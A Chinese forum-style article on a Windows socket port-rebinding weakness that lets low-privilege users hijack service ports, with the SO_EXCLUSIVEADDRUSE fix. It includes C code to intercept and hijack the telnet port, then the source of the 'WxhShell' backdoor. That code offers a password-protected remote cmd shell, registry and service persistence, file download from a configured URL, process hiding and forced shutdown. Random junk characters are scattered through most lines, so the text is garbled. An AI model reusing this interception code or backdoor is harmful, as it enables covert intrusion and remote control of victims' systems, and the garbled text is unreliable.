在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
I)kc[/^j$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(hBph+ cMrO@=b; saddr.sin_family = AF_INET;
)}7X4g6X A>8~deZ9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
H#uN&^+H lCgzQZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
yk'L_M(= N4z[=b> 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Peo-t*-06 L]%!YP\<T 这意味着什么?意味着可以进行如下的攻击:
ORM3oucP ~"_!O+Pj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
#].qjOj tLU@&NY` 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@^<&LG5^ '"+Gn52# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
%JH/|mA&| lcLDCt? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L/E7xLz tDavp:M1v 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
3:G$Y:#P 7n o6
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
d'&OEGb< B9Mp3[ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
+V(^"Z~ sv&^sARN #include
*p=enflU
#include
#jzF6j%G #include
en/ h`h]h #include
HI{h>g T DWORD WINAPI ClientThread(LPVOID lpParam);
6"+9$nFyW int main()
9Zj3 "v+b {
IN@o9pUjV WORD wVersionRequested;
7W*a+^ DWORD ret;
1Jdx#K WSADATA wsaData;
R?;mu^B BOOL val;
b`$qKO SOCKADDR_IN saddr;
UmvnVmnv SOCKADDR_IN scaddr;
d"IZt;s/, int err;
H2H[ DVKv SOCKET s;
`d^Q!QxE SOCKET sc;
rM^2yr7H int caddsize;
+Adk1N8 HANDLE mt;
x/CM)!U) DWORD tid;
=PQ4S2Q wVersionRequested = MAKEWORD( 2, 2 );
JV@G9PT err = WSAStartup( wVersionRequested, &wsaData );
M)!"R [V if ( err != 0 ) {
qjh k#\y printf("error!WSAStartup failed!\n");
*r[V[9+y-D return -1;
71 %$&6 }
k7Qs#L saddr.sin_family = AF_INET;
-b{<VrZ }:{9!RMO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
#R:&Irh ?>U=bA saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
+p63J saddr.sin_port = htons(23);
9Bw#VQ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
j5Da53c#^ {
4_iA<}>| printf("error!socket failed!\n");
1<1+nGO return -1;
AX$r,KmE }
q?Csm\Y val = TRUE;
fz`)CWo: //SO_REUSEADDR选项就是可以实现端口重绑定的
d5>&,
{o7N if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
1KrJS(. {
8#lq: printf("error!setsockopt failed!\n");
hrq% { !Z return -1;
m7y[Y }
;5L^)Nyd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:H3/+/x //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
i0$*):b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Q.$Rhjb jc )7FE if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
W>i%sHH6 {
zG<<MR/< ret=GetLastError();
tuIZYp8tIN printf("error!bind failed!\n");
lya},_WCq return -1;
p&x!m}! }
~G@YA8} listen(s,2);
ha$1vi}b while(1)
tB"9%4]( {
{&>rKCi caddsize = sizeof(scaddr);
NJ.oM E@= //接受连接请求
,8Po
_[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Lo_+W1+ if(sc!=INVALID_SOCKET)
fn,hP_ {
C
'MR=/sd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
'nGUm[vh if(mt==NULL)
\Z3K ~ {
d8vf
kVB printf("Thread Creat Failed!\n");
a-E}3a break;
-$o0P'Vx }
QEf@wv;T }
pXl[I; CloseHandle(mt);
ws5Ue4g| }
eGq7+ closesocket(s);
qE[YZ(/f0& WSACleanup();
vs=q<Uw) return 0;
"lw|EpQk` }
C 5gdvJN DWORD WINAPI ClientThread(LPVOID lpParam)
c/tB_] {
YIg43Av SOCKET ss = (SOCKET)lpParam;
z8ZQL.z%h SOCKET sc;
Ve|:k5z unsigned char buf[4096];
f0sGE5 SOCKADDR_IN saddr;
;j/$%lC long num;
$Y6\m` DWORD val;
\H:T)EVy DWORD ret;
J??AU0vh //如果是隐藏端口应用的话,可以在此处加一些判断
$ch`.$wx //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
hI!BX};+} saddr.sin_family = AF_INET;
eNK
+)<PK( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)h]#:,pm saddr.sin_port = htons(23);
=?.oH|&\h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
uStAZ~b\ {
Dho6N]86r printf("error!socket failed!\n");
]$Z:^"JS3 return -1;
s2G9}i{ }
Y /_CPY val = 100;
LZe)_9$ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
QcQ%A%VIV {
A_oZSUrR ret = GetLastError();
+m%%Bz> return -1;
Icrnu}pl_ }
N7J?S~x if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)xyjQ|b {
%r(WS_%K| ret = GetLastError();
(?\+ return -1;
5\b GCf }
R\3a Sx L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
D;V[9E=g/ {
}psRgF printf("error!socket connect failed!\n");
e9KD mX_ closesocket(sc);
s/IsrcfM closesocket(ss);
$!.>)n return -1;
c]ARgrH- }
F=e9o*z while(1)
Vz/w.%_g {
_=s9o/Cn] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~SQxFAto //如果是嗅探内容的话,可以再此处进行内容分析和记录
:Fb>=e //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
0W*{ 1W num = recv(ss,buf,4096,0);
L/tn;0 if(num>0)
7amVnR1f send(sc,buf,num,0);
|cma7q}p else if(num==0)
Uv
*Aa7M break;
nFEJO&1+ num = recv(sc,buf,4096,0);
8-nf4=ll if(num>0)
~%/Rc` send(ss,buf,num,0);
oM~y8O else if(num==0)
jn V=giBu break;
|g 3:+& }
b/z-W`gw closesocket(ss);
:9UgERjra closesocket(sc);
J/4T =:\ return 0 ;
c,2& -T} }
Lkm-< =WY'n
l' 1z-.e$&z ==========================================================
Kk8}m; +r8bGS]ki 下边附上一个代码,,WXhSHELL
&*<27-x A ]A{HEX ==========================================================
^r\rpSN %)JEYH7Z #include "stdafx.h"
vAUt~X" SU ~a()" #include <stdio.h>
SO0\d0?u #include <string.h>
$~G,T
g #include <windows.h>
!RmVb}m #include <winsock2.h>
j HHWq>=d #include <winsvc.h>
:jl*Y-mM #include <urlmon.h>
C:J;'[,S
XA2Ld #pragma comment (lib, "Ws2_32.lib")
NZq-%bE #pragma comment (lib, "urlmon.lib")
ccuGM W G* [b3!H{b# #define MAX_USER 100 // 最大客户端连接数
QF"7.~~2 #define BUF_SOCK 200 // sock buffer
MuY:(zC% #define KEY_BUFF 255 // 输入 buffer
%PYl crM5&L9zF #define REBOOT 0 // 重启
4!Js=" #define SHUTDOWN 1 // 关机
%hnBpz (gBKC]zvz3 #define DEF_PORT 5000 // 监听端口
FXof9fa_B %F>~2g?$ #define REG_LEN 16 // 注册表键长度
V*4Z.3/E5 #define SVC_LEN 80 // NT服务名长度
&F&`y Ht
Fr(g\"$ // 从dll定义API
fc9;ZX7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Ap
dXsL typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ebk>e* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
EU?qLj': typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
YP2VSK2Q C Bkoky9& // wxhshell配置信息
C&
+MRP struct WSCFG {
nj[TTndJt int ws_port; // 监听端口
`>:5[Y char ws_passstr[REG_LEN]; // 口令
.{1$;K @ int ws_autoins; // 安装标记, 1=yes 0=no
b' o]Y char ws_regname[REG_LEN]; // 注册表键名
+lym8n~-O char ws_svcname[REG_LEN]; // 服务名
DK4yAR,g char ws_svcdisp[SVC_LEN]; // 服务显示名
1X?ro; char ws_svcdesc[SVC_LEN]; // 服务描述信息
i1
E|lp) char ws_passmsg[SVC_LEN]; // 密码输入提示信息
#aP#r4$ int ws_downexe; // 下载执行标记, 1=yes 0=no
P>7Xbm,VP char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
x>#{C,Fi char ws_filenam[SVC_LEN]; // 下载后保存的文件名
W>@ti9\t .q@?sdGD };
Ww]$zd-bo ;'"'|} xn // default Wxhshell configuration
$p0nq&4c struct WSCFG wscfg={DEF_PORT,
AWR :~{ "xuhuanlingzhe",
5p0~AN) 1,
tDK@?PfKz "Wxhshell",
Q]k<Y "Wxhshell",
CY1WT "WxhShell Service",
+Iyyk02V "Wrsky Windows CmdShell Service",
r6DLShP-Ur "Please Input Your Password: ",
U zy@\ 1,
MKHnA|uQ]( "
http://www.wrsky.com/wxhshell.exe",
|p|Zv H "Wxhshell.exe"
Ds`e-X)O;\ };
2@|`Ugjptl ]EiM~n // 消息定义模块
eHphM;C char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
!7N:cx'Qy char *msg_ws_prompt="\n\r? for help\n\r#>";
F5o8@ Ib]: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=L!&Z char *msg_ws_ext="\n\rExit.";
:R;w<Tbz" char *msg_ws_end="\n\rQuit.";
KYFKH+d>m char *msg_ws_boot="\n\rReboot...";
V"/.An| char *msg_ws_poff="\n\rShutdown...";
Q"QRF5Ue char *msg_ws_down="\n\rSave to ";
E2e"A
I.h F]$ Nu char *msg_ws_err="\n\rErr!";
37U8< char *msg_ws_ok="\n\rOK!";
Ni_H1G @ st>#]i4 char ExeFile[MAX_PATH];
dN{At- int nUser = 0;
y~9wxK HANDLE handles[MAX_USER];
~MG6evm & int OsIsNt;
42Z:J 0 |9E:S SERVICE_STATUS serviceStatus;
5GsmBf$RUb SERVICE_STATUS_HANDLE hServiceStatusHandle;
TDh)}Ms z74JyY // 函数声明
Wg-mJu( int Install(void);
r&u1-%%9[ int Uninstall(void);
uzd7v, int DownloadFile(char *sURL, SOCKET wsh);
PucNu8 int Boot(int flag);
QK-aH1r void HideProc(void);
C;BO6$*_e int GetOsVer(void);
A2'i~_e int Wxhshell(SOCKET wsl);
4)8k?iC* void TalkWithClient(void *cs);
i fsh(^N int CmdShell(SOCKET sock);
LRJX>+@ int StartFromService(void);
yzS]FwW7 int StartWxhshell(LPSTR lpCmdLine);
*6s_7{; ~;"eNg{T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(}A$4? VOID WINAPI NTServiceHandler( DWORD fdwControl );
k[Em~>m ` H'G"V // 数据结构和表定义
]iV]7g8: SERVICE_TABLE_ENTRY DispatchTable[] =
<5zR-UA> {
K;
#FU {wscfg.ws_svcname, NTServiceMain},
m<gdyY {NULL, NULL}
}+,Q&]>~ };
W|PAI[N j=0kxvp // 自我安装
vXJs.)D7 int Install(void)
!wYN",R- {
?JuJu1 char svExeFile[MAX_PATH];
uYC^&siS<s HKEY key;
9ihg[k strcpy(svExeFile,ExeFile);
gwj?.7N*k YD4I2'E // 如果是win9x系统,修改注册表设为自启动
a*M|_&MH* if(!OsIsNt) {
%['NPs%B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WBjJ)vCA. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Kzev] er RegCloseKey(key);
}e7Rpgu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F/v.hP_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(:iMs)
iO{ RegCloseKey(key);
\mb4leg5 return 0;
2[lP ,;! }
8lk/*/} =< }
re/-Yu$' }
}9OMXLbRv else {
X@~/.H5 pSx5ume95" // 如果是NT以上系统,安装为系统服务
6#=Iv X4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
"im5Fnu if (schSCManager!=0)
exWQ~& {
eaRa+ <#u SC_HANDLE schService = CreateService
HNZ$CaJh (
XpAJP++ schSCManager,
z_c-1iXCW wscfg.ws_svcname,
$WYt`U;*lj wscfg.ws_svcdisp,
qnP4wRpr SERVICE_ALL_ACCESS,
MWwqon| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
p{E(RsA SERVICE_AUTO_START,
U6JD^G=qR, SERVICE_ERROR_NORMAL,
U]Q5};FK svExeFile,
iwnGWGcuS NULL,
Y{dSQ|xz^ NULL,
~<1s[Hu NULL,
'iMzp]V; NULL,
P2'c{],3V NULL
L=(-BYS );
)Kx.v' if (schService!=0)
8GkWo8rPk {
AQ-PHv CloseServiceHandle(schService);
\>$zxC_ CloseServiceHandle(schSCManager);
?y|&Mz'XJ( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Zbo4{.# strcat(svExeFile,wscfg.ws_svcname);
RFw0u 0Nrz if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7(/yyZQnZ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
aZf/WiR2 RegCloseKey(key);
bK "I9T # return 0;
DY`0 `T }
3Ei^WDJ }
W[jg+| CloseServiceHandle(schSCManager);
C6ql,hR^h` }
Gs#9'3_U5 }
\J:+Wl.9A k4#j
l<R return 1;
8wWp+Hk }
f@sC~A. 9\ mxqZj8VuH // 自我卸载
T4x%3-4; int Uninstall(void)
.XgY&5Qk {
^E%R5JN
HKEY key;
Y6wr}U $mxG-'x%K if(!OsIsNt) {
:V(C+bm * if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
WvU[9ME^) RegDeleteValue(key,wscfg.ws_regname);
X
-1r$. RegCloseKey(key);
a;$V;3C{b& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2IJniS=[> RegDeleteValue(key,wscfg.ws_regname);
W~H`{x%Av> RegCloseKey(key);
1n8y4k) return 0;
/J}G{Y
|n }
$2FU<w$5 }
g_4%M0&AX }
x)80:A} else {
`n,RC2yo h.-L_!1B7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
G5hRx@vfrL if (schSCManager!=0)
`K VSYC {
/Ey%aA4v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
QXj #Brp if (schService!=0)
~{DJ,(N"n {
`U0XvWPr[ if(DeleteService(schService)!=0) {
/'oo;e CloseServiceHandle(schService);
IV~)BW leT CloseServiceHandle(schSCManager);
C32*RNG?U return 0;
f)vnm*&- }
~v&Q\>' CloseServiceHandle(schService);
B\D)21Ik}% }
XK~HfA? CloseServiceHandle(schSCManager);
o4: e1 }
,'C*?mms }
koB'Zp/FaY RA a1^Qb return 1;
TT3 6Y }
<Hv/1:k} b\^DQZmth // 从指定url下载文件
RH,x);J| int DownloadFile(char *sURL, SOCKET wsh)
-[!t=qi {
2KO`+ HRESULT hr;
wv3*o10_w8 char seps[]= "/";
q%d,E1 char *token;
ebEI%8p g char *file;
"E<+idoz char myURL[MAX_PATH];
v2gk1a& char myFILE[MAX_PATH];
!4v>|t q! Ot.v%D`e 5 strcpy(myURL,sURL);
g
mWwlkf9 token=strtok(myURL,seps);
3L2NenJB while(token!=NULL)
r5[pT(XT] {
8(ZQM01; file=token;
kjQW9QJ< token=strtok(NULL,seps);
&qY]W=9uK }
F<h+d917 {$t*XTY6R GetCurrentDirectory(MAX_PATH,myFILE);
%1
RWF6 strcat(myFILE, "\\");
[PXq<ST strcat(myFILE, file);
#P!<u Lc% send(wsh,myFILE,strlen(myFILE),0);
OL_#Uu send(wsh,"...",3,0);
h[Sd3Z* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
V ~jp if(hr==S_OK)
,XscO7 return 0;
N, u]2,E else
FD!8o return 1;
6yYjZ< %qsl<_& }
]
0L=+=w ZweAY.]e // 系统电源模块
IjOBY int Boot(int flag)
|[r7B*fw {
kE6/d, HANDLE hToken;
RU#}!Kq TOKEN_PRIVILEGES tkp;
&b>&XMIK iN[6}V6Sm if(OsIsNt) {
K:9AP{+ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
IkmEctAU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>aVtYp B tkp.PrivilegeCount = 1;
@}PXBU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
M_+W5Gz< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
8wO4; if(flag==REBOOT) {
vr"Pr4z4i if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
k:7Gb7\ return 0;
a:GM|X }
ic}TiTK else {
o6w8Y/VPu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zrSYLG return 0;
L[:AU e }
[&P@0Fn }
vaQsG6q[ else {
yX*$PNL5w if(flag==REBOOT) {
#c'B2Jn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
}; 7I return 0;
feS$)H9- }
5"G-r._ else {
Nk7=[y#z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
u,:hT]
~+ return 0;
0datzEns` }
#:[F=2@,A }
zC:Pg4=w] =mX26l`B return 1;
nT01B1/<] }
%hmRh~/& &=S:I!9;; // win9x进程隐藏模块
`, ]ui* void HideProc(void)
1D)0\#>< {
hMz)l\0
&2.DZ),L HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
y4@gw.pt if ( hKernel != NULL )
IP{$lC {
D=%1?8K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^uG^>Om* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
]Ue
aXwaU FreeLibrary(hKernel);
IDf\!QGx }
l -nH 9%SC#V' return;
569p/? }
`<~=6H ~}{_/8'5 // 获取操作系统版本
PP\ bDEPy int GetOsVer(void)
!#%>,X#+ {
ZXo;E OSVERSIONINFO winfo;
B#IUSHC winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%2b^t*CQ GetVersionEx(&winfo);
{7DXSe4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:_xfi9L~W0 return 1;
7@g0>1Fz else
ZDL1H3;R return 0;
qAd=i0{N }
9MO=f^f- \p.yR. // 客户端句柄模块
?[.8A/:5 int Wxhshell(SOCKET wsl)
zjow % {
j
`!Ge SOCKET wsh;
j[R.UB3J struct sockaddr_in client;
/TPtPq<7:# DWORD myID;
*aS+XnT/ ;ow)N <Z while(nUser<MAX_USER)
Lj GZp"&{ {
e
T;@pc int nSize=sizeof(client);
MCEHv}W wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
s I\-0og if(wsh==INVALID_SOCKET) return 1;
$v#`2S(7 {irc~||4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
A/:_uqm4 if(handles[nUser]==0)
AWMJ/E*T closesocket(wsh);
4'`P+p"A else
KiI+ V;o nUser++;
QD3tM5(Yr }
O9>$(`@I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
YU8]W% ilK*Xo return 0;
/i27F2NQm }
Nc4;2~XwRp h/|p`MP\1 // 关闭 socket
Pf,@U'f| void CloseIt(SOCKET wsh)
d8agM/F*/ {
^vT!24sK closesocket(wsh);
VZr:yE nUser--;
>w7KOVbN3
ExitThread(0);
Ng !d6] }
!Tv3WQ@ V7nOT*N:Q // 客户端请求句柄
l"}_+5 void TalkWithClient(void *cs)
F xm:m {
?$)5NQB% RzL(Gnb SOCKET wsh=(SOCKET)cs;
#z%D d{E char pwd[SVC_LEN];
=+wd"Bu char cmd[KEY_BUFF];
!dGu0wE
char chr[1];
i@5Fne int i,j;
6(-s@{ 3 1-p/ while (nUser < MAX_USER) {
9`N5$;NzY `vOL3`P if(wscfg.ws_passstr) {
P33xt~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=c*l!."0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
>L!c} Ku //ZeroMemory(pwd,KEY_BUFF);
_9 '_w& i=0;
v
;}s`P\" while(i<SVC_LEN) {
jy2gR1~ pk.\IKlG] // 设置超时
^5Lk}<utw fd_set FdRead;
n6WKk+ struct timeval TimeOut;
.S-) FD_ZERO(&FdRead);
&R@([=1 FD_SET(wsh,&FdRead);
EmcLW74 TimeOut.tv_sec=8;
=(7nl#o TimeOut.tv_usec=0;
njX$?V
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
r)}U
'iv*% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
T#3@r0M xR3$sA2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
uz{RV_IX7 pwd
=chr[0]; RfTGTz@H
if(chr[0]==0xd || chr[0]==0xa) { oS..y($TI
pwd=0; P* `*^r3
break; JJtx `@Bc
} dV'EiNpf
i++; *QiQ,~Ep
} rfEWh
Vy(}
-GCo`PR?b
// 如果是非法用户,关闭 socket / 'qoKof
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9)'f)60^
} lh"*$.j-
wTa u.Bo
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]n|Jc_Y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m:?"|.]
J>}J~[ap\J
while(1) { \/Mx|7<
,oA<xP-*
ZeroMemory(cmd,KEY_BUFF); esnq/
6ABK)m-y
// 自动支持客户端 telnet标准 [#q>Aq$11
j=0; W~ET/h
while(j<KEY_BUFF) { (n*:LS=0
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p8!T)
?|
cmd[j]=chr[0]; A'KH_])
if(chr[0]==0xa || chr[0]==0xd) {
6j<!W+~G
cmd[j]=0; qtZ?
kJ
break; PT6]qS'1
} {k)gDJU
j++; \\FT.e6
} /gZyl|kdy
vNv!fkl
// 下载文件 !&rd#ZBn
if(strstr(cmd,"http://")) { =,(TP
send(wsh,msg_ws_down,strlen(msg_ws_down),0); MY@&^71i4
if(DownloadFile(cmd,wsh)) a^p#M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yk`qF'4]
else )e,O+w"
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y/FPkH4
} h0rPMd(K
else { 9VnBNuT
IQ
I8v
switch(cmd[0]) { T[bC Y 6
~_D.&-xUF
// 帮助 R2Fjv@Egk
case '?': { @m#OhERv
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =+!l8o&o,
break; 3OZPy|".ax
} ;ItH2Lw<&
// 安装 K"0IW A
case 'i': { ;v:(
if(Install()) P"Al*{:J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q#W|fkfx+
else hWT
jN
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w*ans}P7
break; wfmM`4Y
} Cf2WBX$
// 卸载 \EySKQ=
case 'r': { :u14_^
if(Uninstall()) #s\@fp7A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L"m^LyU
else QJVbt
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G@k]rwub
break; Dw%'u'HG
} 43PLURay
// 显示 wxhshell 所在路径 u=.8M`FxP
case 'p': { `5IrV&a
char svExeFile[MAX_PATH]; i41~-?Bc
strcpy(svExeFile,"\n\r"); OM*c7&
strcat(svExeFile,ExeFile); 4 O!2nP
send(wsh,svExeFile,strlen(svExeFile),0); %y6(+I#P
break; Qq<@;4
} gc.Lh~
// 重启 #J"xByQKK
case 'b': { c1yRy|
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UZyg_G6
if(Boot(REBOOT)) @AEH?gOX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LjI`$r.B
else { X8$i*#D
closesocket(wsh); `x[Is$
ExitThread(0); 6O7s^d&K
} Wo1xZZ
break; 4dX{an]Cz
} s<s}6|Z
// 关机 8=`L#FkRp
case 'd': { ).SJ*Re*^I
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k
QuEG5n.-
if(Boot(SHUTDOWN)) R~\R>\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =yf)Z^
else { ZZY# .
closesocket(wsh); K~TwyB-h
ExitThread(0); e&}W#
} IfK~~XYG
break; VeYT[Us"
} v>8C}d^
// 获取shell wFJf"@/vJ
case 's': { 7~Y\qJ4b
CmdShell(wsh); >h\y1IrAaG
closesocket(wsh); Eomfa:WL
ExitThread(0); 7D6`1&
break; {&=+lr_h?
} YB 38K(
// 退出 TN(Vzs%
case 'x': { $UR:j8C{p$
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8xPt1Sotq[
CloseIt(wsh); hNN>Pd~;
break; EeW
,-I
} -S'KxC
// 离开 6"Uu;Q
case 'q': { \^!;r 9z=A
send(wsh,msg_ws_end,strlen(msg_ws_end),0); J9Ao*IW~
closesocket(wsh); 1BSd9Ydj
WSACleanup(); B9maz"lJ
exit(1); D*M `qPX~
break; EoAr}fI
} Q{l,4P
} bA^uzE
} aLa<zEssz
D:z'`v0j
// 提示信息 uvId],dQ5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A)f-r
} ,
>LJpv
} +fP.Ewi
-?Cr&!*B
return; 1'~Xn
4
f
} 7v5]%%E/
3l{V:x!9@
// shell模块句柄 ${f<}
int CmdShell(SOCKET sock) d^ C@5Pd
<
{ a(gXvgrf[
STARTUPINFO si; [o)K1>>7
ZeroMemory(&si,sizeof(si)); F@BpAl
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |Y7SP]/`gB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +:S`]
PROCESS_INFORMATION ProcessInfo; cOV j @z
char cmdline[]="cmd"; yHeL&H
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J p'^!
return 0; xl&@g)Jj
} EXDDUqZ5\
L&p R#
// 自身启动模式 Ku(YTXtK
int StartFromService(void) 1d5%(:@
{ /2tA
n
typedef struct [:8\F#KW
{ 19E(Hsz
DWORD ExitStatus; ^O07GYF
DWORD PebBaseAddress; r,6~%T0
